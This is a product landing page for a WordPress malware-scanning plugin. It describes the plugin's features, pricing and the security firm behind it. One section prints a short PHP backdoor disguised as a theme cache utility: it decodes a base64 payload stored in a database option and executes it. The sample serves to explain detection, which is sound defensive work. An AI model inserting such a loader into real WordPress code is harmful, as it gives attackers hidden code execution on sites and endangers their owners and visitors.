Find the hidden WordPress malware your firewall can't see.
Detect suspicious code, hidden backdoors, database payloads and reinfection paths, with plain-English explanations before anything is touched on your site.
Built for the people who actually deal with hacked sites.
Whatever your role, Guardian Gaze shows what's wrong, explains why, and waits for your sign-off before doing anything to your site.
Your site was hacked. Is it really clean now?
Run Guardian Gaze after a compromise to find what your existing scanner missed. Every finding is explained in plain English, so you know what's happening and what to do next.
Catch issues across client sites before they email you.
Monitor every WordPress site you manage from one place. Client-friendly reports, regular threat updates, and the option to escalate serious findings to the RedSecLabs research team.
See agency plans →Read the reasoning before you delete anything.
Every finding shows the file, the suspicious pattern, and an explanation of why it looks malicious. No silent quarantine; review every result, decide every action.
From scan to safe, in four clear steps.
Every Guardian Gaze workflow follows the same path. No surprises, no silent actions, and an off-ramp to expert help when you need it.
A backdoor disguised as a cache helper.
A representative example based on real-world WordPress compromises. Here's the file. Here's how Guardian Gaze reasons about it, step by step.
1 <?php
2 /**
3 * Theme cache utility, auto-rotates daily.
4 */
5
6 if (!defined('ABSPATH')) exit;
7
► 8 $k = get_option('_theme_cache_v2');
► 9 if ($k && strlen($k) > 100) {
►10 $d = base64_decode($k);
►11 create_function('', $d)();
12 }
13
14 function theme_cache_clear() {
15 wp_cache_flush();
16 }base64_decode and create_function appear in many legitimate themes. Rule-based scanners often skip patterns this generic.Cloudflare and Wordfence are useful layers. We add the one they weren't built for.
Perimeter firewalls block incoming requests. Signature scanners match known patterns. Guardian Gaze does the layer that's harder to automate, reasoning about whether code inside your WordPress install actually looks legitimate.
Perimeter & signature tools
Where existing tools are strong
- Block known IPs, brute-force attempts and OWASP-pattern attacks
- Match files against a database of known malware signatures
- Catch obvious tampering of WordPress core files
- Less designed to reason about intent in unfamiliar code
- Not built to scan stored payloads inside
wp_options
Guardian Gaze · the layer we add
Code-level reasoning, alongside your existing security
- LLM-assisted reasoning about what code is actually doing
- Catches obfuscated web shells with multiple encoding layers
- Scans database options and transients for stored payloads
- Covers
mu-plugins, themes, custom drop-ins, full file tree - Explains every finding so you know what to do next
Want the row-by-row breakdown? See the full comparison →
Nothing happens to your site without your sign-off.
A security plugin shouldn't be scarier than the threats it finds. Guardian Gaze is designed so you stay in control of every action, and so that nothing sensitive ever leaves your site.
Rated five stars by WordPress professionals.
Real reviews from agencies and developers running Guardian Gaze on live client sites.
We have used Guardian Gaze Security on our websites and the scanning feature is excellent. It quickly detects malware and security issues, making website protection much easier.
The malware scanning is fast and highly accurate, especially in detecting hidden backdoors that other plugins often miss. The AI-based detection makes it more reliable than traditional security tools. Lightweight, doesn’t affect site speed, and the firewall plus login protection adds an extra layer of security.
Very lightweight and doesn’t affect site speed at all. The malware scanning is accurate and quickly detects suspicious files. Setup was simple, and the firewall and login protection add solid security. Highly recommended for a fast, reliable WordPress security plugin.
Start free. Upgrade when you need to.
The free plugin gets you a full scan and plain-English findings on one site. Paid tiers add scheduling, alerts, multi-site management and expert escalation.
Run on one WordPress site. No credit card required.
- Full file & database scan
- LLM-assisted reasoning on findings
- Plain-English explanations
- Manual on-demand scanning
- Available on WordPress.org
Everything in Free, plus scheduled scans and alerts.
- Scheduled scans (daily / weekly)
- Scheduled email scan reports
- Email alerts on critical findings
- Regular malware-pattern updates
- Global IP block list
Bulk Pro licenses for agencies. 10% to 20% volume discount applied.
- All licence keys in one dashboard
- RedSecLabs expert review (paid add-on)
- Volume pricing
Full pricing details on the Pricing page.
Built by security researchers, not just plugin developers.
Guardian Gaze is a product of RedSecLabs, a London-based cybersecurity firm whose research team investigates compromised websites and reverse-engineers malware in the wild. The plugin exists because we kept seeing real-world WordPress compromises where conventional scanning alone wasn't enough to identify the full reinfection path.
Guardian Gaze is a young plugin, but the expertise behind it isn't. The detection logic isn't theoretical; it's distilled from years of real incident response on hacked WordPress estates, by a team that reverse-engineers live malware for a living.
"Attackers have evolved beyond simple malware signatures. They're writing backdoors that look exactly like legitimate plugin code. You need AI that can reason about what code is actually doing."
Scan your site for what your firewall can't see.
Install Guardian Gaze, register an email, run your first scan. Every finding is explained before anything is touched. Free. No card. No commitment.
